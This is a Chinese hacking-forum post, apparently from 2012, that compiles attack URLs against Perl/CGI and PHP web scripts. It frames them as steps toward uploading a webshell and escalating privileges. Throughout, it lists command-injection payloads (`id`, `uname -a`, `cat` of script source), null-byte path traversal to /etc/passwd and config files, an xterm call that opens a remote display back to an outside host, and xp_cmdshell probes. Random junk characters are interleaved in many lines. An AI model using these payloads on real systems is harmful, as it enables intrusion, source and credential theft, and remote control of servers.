找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2457|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
$ U/ D& W* I$ g! r9 ~! ]7 W0 Ycookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  8 }# a6 Z5 I. a' a6 u; q
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  9 w$ c  ^+ v9 o( b5 B7 _. E/ h+ ~0 i
注“  
9 a) U3 N  Q! ?; S3 q4 u% p& v, iperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
$ z! C4 m$ d( h以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
! }- B6 f+ S' ^* ]7 |5 _0 g3 ]
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  3 ^6 u, `4 s0 o; `* D- p7 O2 y
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  ! ?' ~( d# ^6 _- w
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
! G  M- S/ n% J6 x/ ^/ n8 Ghttp://target.com/cgi-bin/home/news/sub.pl?`id`  
* ^# V8 b' e. r* Ghttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  8 _  w  ~3 |% _5 d
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  ) R5 `% W" u( N4 `& ^

" Y$ m2 O2 S$ [$ l8 |' O( Chttp://target.com/test.pl;ls|  + B2 O4 [  d/ u' C7 c/ Y
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
' A% e6 L9 n& ~; J! C0 e0 Fhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  ; u1 g) G& w; `
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  + u! x+ K/ w4 D' G  n# B
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
# H+ _7 V( I5 Q) E0 u6 D. ~1 C& Uhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  - b/ p8 v- u' s6 k; Y. B

/ r4 k: ?; j% g3 v# Xhttp://target.com/test.pl?&........ /../../etc/passwd  
0 F( i1 c/ i3 D% r% }' N6 u2 t  B9 n- m2 D
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  6 n, k4 g( E! K: I6 C
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  * f9 u7 G: l' E$ D; j
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
5 a( t$ u% }5 v5 X
: V7 T( D, n* U' @8 G: p) Lhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  9 i1 y5 S1 i! L- ]1 L
http://www.target.org/show.php?f ... ng/admin/global.php  
9 u% z  o# r+ y1 G* M2 }5 L1 ~( d, K- x; H# `* l
emm和ps的一句话: w$ A+ G$ L2 J

9 \# c; e  z: _' R6 Zhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
( H7 ]& y9 V8 A. T9 _$ Y# n% h( e0 M% y+ }+ V0 ]8 ^& O/ c1 _
>bbb%20|  
  {- D- }. k. `# n3 }' D
2 \; B# \, Z6 [% {5 rhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
. |8 l! d; C# m4 W, q; x9 q+ v4 k0 c% r5 W
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
$ A$ k+ u) D( j( B, Q: P  r1 shttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  ' a! a$ N9 o2 c& b) G9 v" [" s1 g

. f  Q3 F. z; S8 V1 Y1 `相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  & x2 X. p$ A) g) J$ j+ N& l  t5 t
http://target.com/index.html#cmd.exe  9 q* X  o% s0 m& p  }3 J% s. x
http://target.com/index.html?dummyparam=xp_cmdshell  
3 F0 ?; Y- m0 c2 U8 t5 ?lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  ; a2 g( g& O) t/ P  Z) a, q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表